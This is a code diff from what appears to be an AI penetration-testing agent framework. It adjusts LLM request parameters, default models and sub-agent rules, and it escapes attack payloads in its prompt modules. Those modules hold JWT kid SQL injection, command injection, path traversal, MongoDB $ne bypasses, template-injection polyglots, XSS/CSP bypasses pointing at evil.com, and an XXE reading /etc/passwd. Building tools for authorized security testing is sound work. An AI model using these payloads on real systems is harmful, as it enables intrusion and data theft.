||||
"o4-mini",
|
||||
"o4-mini-2025-04-16",
|
||||
"gemini-2.5-flash",
|
||||
"gemini-2.5-pro",
|
||||
]
|
||||
|
||||
|
||||
class StepRole(str, Enum):
|
||||
AGENT = "agent"
|
||||
@@ -240,17 +273,48 @@ class LLM:
|
||||
"supported": supports_prompt_caching(self.config.model_name),
|
||||
}
|
||||
|
||||
def _should_include_stop_param(self) -> bool:
|
||||
if not self.config.model_name:
|
||||
return True
|
||||
|
||||
actual_model_name = self.config.model_name.split("/")[-1].lower()
|
||||
model_name_lower = self.config.model_name.lower()
|
||||
|
||||
return not any(
|
||||
actual_model_name == unsupported_model.lower()
|
||||
or model_name_lower == unsupported_model.lower()
|
||||
for unsupported_model in MODELS_WITHOUT_STOP_WORDS
|
||||
)
|
||||
|
||||
def _should_include_reasoning_effort(self) -> bool:
|
||||
if not self.config.model_name:
|
||||
return False
|
||||
|
||||
actual_model_name = self.config.model_name.split("/")[-1].lower()
|
||||
model_name_lower = self.config.model_name.lower()
|
||||
|
||||
return any(
|
||||
actual_model_name == supported_model.lower()
|
||||
or model_name_lower == supported_model.lower()
|
||||
for supported_model in REASONING_EFFORT_SUPPORTED_MODELS
|
||||
)
|
||||
|
||||
async def _make_request(
|
||||
self,
|
||||
messages: list[dict[str, Any]],
|
||||
) -> ModelResponse:
|
||||
completion_args = {
|
||||
completion_args: dict[str, Any] = {
|
||||
"model": self.config.model_name,
|
||||
"messages": messages,
|
||||
"temperature": self.config.temperature,
|
||||
"stop": ["</function>"],
|
||||
}
|
||||
|
||||
if self._should_include_stop_param():
|
||||
completion_args["stop"] = ["</function>"]
|
||||
|
||||
if self._should_include_reasoning_effort():
|
||||
completion_args["reasoning_effort"] = "medium"
|
||||
|
||||
queue = get_global_queue()
|
||||
response = await queue.make_request(completion_args)
|
||||
|
||||
|
||||
@@ -145,7 +145,7 @@ class MemoryCompressor:
|
||||
model_name: str | None = None,
|
||||
):
|
||||
self.max_images = max_images
|
||||
self.model_name = model_name or os.getenv("STRIX_LLM", "anthropic/claude-opus-4-1-20250805")
|
||||
self.model_name = model_name or os.getenv("STRIX_LLM", "openai/gpt-5")
|
||||
|
||||
if not self.model_name:
|
||||
raise ValueError("STRIX_LLM environment variable must be set and not empty")
|
||||
|
||||
@@ -49,25 +49,21 @@ def generate_modules_description() -> str:
|
||||
if not available_modules:
|
||||
return "No prompt modules available"
|
||||
|
||||
description_parts = []
|
||||
all_module_names = get_all_module_names()
|
||||
|
||||
for category, modules in available_modules.items():
|
||||
modules_str = ", ".join(modules)
|
||||
description_parts.append(f"{category} ({modules_str})")
|
||||
if not all_module_names:
|
||||
return "No prompt modules available"
|
||||
|
||||
sorted_modules = sorted(all_module_names)
|
||||
modules_str = ", ".join(sorted_modules)
|
||||
|
||||
description = (
|
||||
f"List of prompt modules to load for this agent (max 3). "
|
||||
f"Available modules: {', '.join(description_parts)}. "
|
||||
f"List of prompt modules to load for this agent (max 3). Available modules: {modules_str}. "
|
||||
)
|
||||
|
||||
example_modules = []
|
||||
for modules in available_modules.values():
|
||||
example_modules.extend(modules[:2])
|
||||
if len(example_modules) >= 2:
|
||||
break
|
||||
|
||||
example_modules = sorted_modules[:2]
|
||||
if example_modules:
|
||||
example = f"Example: {example_modules[:2]} for specialized agent"
|
||||
example = f"Example: {', '.join(example_modules)} for specialized agent"
|
||||
description += example
|
||||
|
||||
return description
|
||||
|
||||
@@ -5,8 +5,8 @@
|
||||
|
||||
<jwt_structure>
|
||||
header.payload.signature
|
||||
- Header: {"alg":"HS256","typ":"JWT"}
|
||||
- Payload: {"sub":"1234","name":"John","iat":1516239022}
|
||||
- Header: {% raw %}{"alg":"HS256","typ":"JWT"}{% endraw %}
|
||||
- Payload: {% raw %}{"sub":"1234","name":"John","iat":1516239022}{% endraw %}
|
||||
- Signature: HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)
|
||||
</jwt_structure>
|
||||
|
||||
@@ -19,7 +19,7 @@ RS256 to HS256:
|
||||
</algorithm_confusion>
|
||||
|
||||
<none_algorithm>
|
||||
- Set "alg": "none" in header
|
||||
- Set {% raw %}"alg": "none"{% endraw %} in header
|
||||
- Remove signature completely (keep the trailing dot)
|
||||
</none_algorithm>
|
||||
|
||||
@@ -28,16 +28,16 @@ Common secrets: 'secret', 'password', '123456', 'key', 'jwt_secret', 'your-256-b
|
||||
</weak_secrets>
|
||||
|
||||
<kid_manipulation>
|
||||
- SQL Injection: "kid": "key' UNION SELECT 'secret'--"
|
||||
- Command injection: "kid": "|sleep 10"
|
||||
- Path traversal: "kid": "../../../../../../dev/null"
|
||||
- SQL Injection: {% raw %}"kid": "key' UNION SELECT 'secret'--"{% endraw %}
|
||||
- Command injection: {% raw %}"kid": "|sleep 10"{% endraw %}
|
||||
- Path traversal: {% raw %}"kid": "../../../../../../dev/null"{% endraw %}
|
||||
</kid_manipulation>
|
||||
</common_attacks>
|
||||
|
||||
<advanced_techniques>
|
||||
<jwk_injection>
|
||||
Embed public key in token header:
|
||||
{"jwk": {"kty": "RSA", "n": "your-public-key-n", "e": "AQAB"}}
|
||||
{% raw %}{"jwk": {"kty": "RSA", "n": "your-public-key-n", "e": "AQAB"}}{% endraw %}
|
||||
</jwk_injection>
|
||||
|
||||
<jku_manipulation>
|
||||
|
||||
@@ -48,7 +48,7 @@ HTML form auto-submit:
|
||||
<json_csrf>
|
||||
For JSON endpoints:
|
||||
<form enctype="text/plain" action="https://target.com/api">
|
||||
<input name='{"amount":1000,"to":"attacker","ignore":"' value='"}'>
|
||||
<input name='{% raw %}{"amount":1000,"to":"attacker","ignore":"{% endraw %}' value='"}'>
|
||||
</form>
|
||||
</json_csrf>
|
||||
|
||||
|
||||
@@ -15,7 +15,7 @@
|
||||
|
||||
<advanced_enumeration>
|
||||
- Boundary values: 0, -1, null, empty string, max int
|
||||
- Different formats: {"id":123} vs {"id":"123"}
|
||||
- Different formats: {% raw %}{"id":123} vs {"id":"123"}{% endraw %}
|
||||
- ID patterns: increment, decrement, similar patterns
|
||||
- Wildcard testing: *, %, _, all
|
||||
- Array notation: id[]=123&id[]=456
|
||||
@@ -51,7 +51,7 @@ for i in range(1, 10000):
|
||||
<type_confusion>
|
||||
- String where int expected: "123" vs 123
|
||||
- Array where single value expected: [123] vs 123
|
||||
- Object injection: {"id": {"$ne": null}}
|
||||
- Object injection: {% raw %}{"id": {"$ne": null}}{% endraw %}
|
||||
</type_confusion>
|
||||
</exploitation_techniques>
|
||||
|
||||
@@ -106,7 +106,7 @@ query { u1: user(id: 123) { data } u2: user(id: 456) { data } }
|
||||
|
||||
<websocket_idor>
|
||||
Subscribe to other users' channels:
|
||||
{"subscribe": "user_456_notifications"}
|
||||
{% raw %}{"subscribe": "user_456_notifications"}{% endraw %}
|
||||
</websocket_idor>
|
||||
|
||||
<file_path_idor>
|
||||
|
||||
@@ -94,7 +94,7 @@ ${IFS}id
|
||||
<polyglot_payloads>
|
||||
Works in multiple contexts:
|
||||
;id;#' |id| #" |id| #
|
||||
${{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}
|
||||
{% raw %}${{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}{% endraw %}
|
||||
</polyglot_payloads>
|
||||
|
||||
<blind_rce>
|
||||
|
||||
@@ -152,9 +152,9 @@ PostgreSQL:
|
||||
|
||||
<nosql_injection>
|
||||
<mongodb>
|
||||
{"username": {"$ne": null}, "password": {"$ne": null}}
|
||||
{"$where": "this.username == 'admin'"}
|
||||
{"username": {"$regex": "^admin"}}
|
||||
{% raw %}{"username": {"$ne": null}, "password": {"$ne": null}}{% endraw %}
|
||||
{% raw %}{"$where": "this.username == 'admin'"}{% endraw %}
|
||||
{% raw %}{"username": {"$regex": "^admin"}}{% endraw %}
|
||||
</mongodb>
|
||||
|
||||
<graphql>
|
||||
|
||||
@@ -9,7 +9,7 @@
|
||||
- Headers: User-Agent, Referer, X-Forwarded-For
|
||||
- Cookies (if reflected)
|
||||
- File uploads (filename, metadata)
|
||||
- JSON endpoints: {"user":"<payload>"}
|
||||
- JSON endpoints: {% raw %}{"user":"<payload>"}{% endraw %}
|
||||
- postMessage handlers
|
||||
- DOM properties: location.hash, document.referrer
|
||||
- WebSocket messages
|
||||
@@ -97,7 +97,7 @@ jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</
|
||||
|
||||
<csp_bypasses>
|
||||
- JSONP endpoints: <script src="//site.com/jsonp?callback=alert">
|
||||
- AngularJS: {{constructor.constructor('alert(1)')()}}
|
||||
- AngularJS: {% raw %}{{constructor.constructor('alert(1)')()}}{% endraw %}
|
||||
- Script gadgets in allowed libraries
|
||||
- Base tag injection: <base href="//evil.com/">
|
||||
- Object/embed: <object data="data:text/html,<script>alert(1)</script>">
|
||||
@@ -145,7 +145,7 @@ navigator.mediaDevices.getUserMedia({video:true}).then(s=>...)
|
||||
</markdown>
|
||||
|
||||
<react_vue>
|
||||
- dangerouslySetInnerHTML={{__html: payload}}
|
||||
- dangerouslySetInnerHTML={% raw %}{{__html: payload}}{% endraw %}
|
||||
- v-html directive bypass
|
||||
</react_vue>
|
||||
|
||||
|
||||
@@ -91,7 +91,7 @@ evil.dtd:
|
||||
|
||||
<specific_contexts>
|
||||
<json_xxe>
|
||||
{"name": "test", "content": "<?xml version='1.0'?><!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><x>&xxe;</x>"}
|
||||
{% raw %}{"name": "test", "content": "<?xml version='1.0'?><!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><x>&xxe;</x>"}{% endraw %}
|
||||
</json_xxe>
|
||||
|
||||
<soap_xxe>
|
||||
|
||||
@@ -57,6 +57,10 @@ def _run_agent_in_thread(
|
||||
- Work independently with your own approach
|
||||
- Use agent_finish when complete to report back to parent
|
||||
- You are a SPECIALIST for this specific task
|
||||
- The previous browser, sessions, proxy history, and files in /workspace were for your
|
||||
parent agent. Do not depend on them.
|
||||
- You are starting with a fresh context. Fresh proxy, browser, and files.
|
||||
Only stuff in /shared_workspace is passed to you from context.
|
||||
</instructions>
|
||||
</agent_delegation>"""
|
||||
|
||||
@@ -192,16 +196,6 @@ def create_agent(
|
||||
if prompt_modules:
|
||||
module_list = [m.strip() for m in prompt_modules.split(",") if m.strip()]
|
||||
|
||||
if "root_agent" in module_list:
|
||||
return {
|
||||
"success": False,
|
||||
"error": (
|
||||
"The 'root_agent' module is reserved for the main agent "
|
||||
"and cannot be used by sub-agents"
|
||||
),
|
||||
"agent_id": None,
|
||||
}
|
||||
|
||||
if len(module_list) > 3:
|
||||
return {
|
||||
"success": False,
|
||||
|
||||
@@ -59,7 +59,7 @@ Use this tool when:
|
||||
<tool name="create_agent">
|
||||
<description>Create and spawn a new agent to handle a specific subtask.
|
||||
|
||||
MANDATORY REQUIREMENT: You MUST call view_agent_graph FIRST before creating any new agent to check if there is already an agent working on the same or similar task. Only create a new agent if no existing agent is handling the specific task.</description>
|
||||
Only create a new agent if no existing agent is handling the specific task.</description>
|
||||
<details>The new agent inherits the parent's conversation history and context up to the point
|
||||
of creation, then continues with its assigned subtask. This enables decomposition
|
||||
of complex penetration testing tasks into specialized sub-agents.
|
||||
@@ -67,12 +67,6 @@ MANDATORY REQUIREMENT: You MUST call view_agent_graph FIRST before creating any
|
||||
The agent runs asynchronously and independently, allowing the parent to continue
|
||||
immediately while the new agent executes its task in the background.
|
||||
|
||||
CRITICAL: Before calling this tool, you MUST first use view_agent_graph to:
|
||||
- Examine all existing agents and their current tasks
|
||||
- Verify no agent is already working on the same or similar objective
|
||||
- Avoid duplication of effort and resource waste
|
||||
- Ensure efficient coordination across the multi-agent system
|
||||
|
||||
If you as a parent agent don't absolutely have anything to do while your subagents are running, you can use wait_for_message tool. The subagent will continue to run in the background, and update you when it's done.
|
||||
</details>
|
||||
<parameters>
|
||||
@@ -93,9 +87,6 @@ MANDATORY REQUIREMENT: You MUST call view_agent_graph FIRST before creating any
|
||||
<description>Response containing: - agent_id: Unique identifier for the created agent - success: Whether the agent was created successfully - message: Status message - agent_info: Details about the created agent</description>
|
||||
</returns>
|
||||
<examples>
|
||||
# REQUIRED: First check agent graph before creating any new agent
|
||||
<function=view_agent_graph>
|
||||
</function>
|
||||
# REQUIRED: Check agent graph again before creating another agent
|
||||
<function=view_agent_graph>
|
||||
</function>
|
||||
@@ -108,7 +99,6 @@ MANDATORY REQUIREMENT: You MUST call view_agent_graph FIRST before creating any
|
||||
<parameter=prompt_modules>sql_injection</parameter>
|
||||
</function>
|
||||
|
||||
# Create specialized authentication testing agent with multiple modules (comma-separated)
|
||||
<function=create_agent>
|
||||
<parameter=task>Test authentication mechanisms, JWT implementation, and session management
|
||||
for security vulnerabilities and bypass techniques.</parameter>
|
||||
|
||||
@@ -63,6 +63,10 @@
|
||||
- When you need multiple characters sent as a single unit
|
||||
12. Do NOT use terminal actions for file editing or writing. Use the replace_in_file,
|
||||
write_to_file, or read_file tools instead.
|
||||
13. PREFER SIMPLE COMMANDS: Avoid complex multiline commands with nested quotes or
|
||||
complex syntax. Break down complex operations into simpler, individual commands
|
||||
for better reliability and readability. Never send multiple commands in a single
|
||||
input list with multiple "Enter" keys - execute one command at a time instead.
|
||||
</notes>
|
||||
<examples>
|
||||
# Create new terminal with Node.js (default terminal)
|
||||
|
||||
Reference in New Issue
Block a user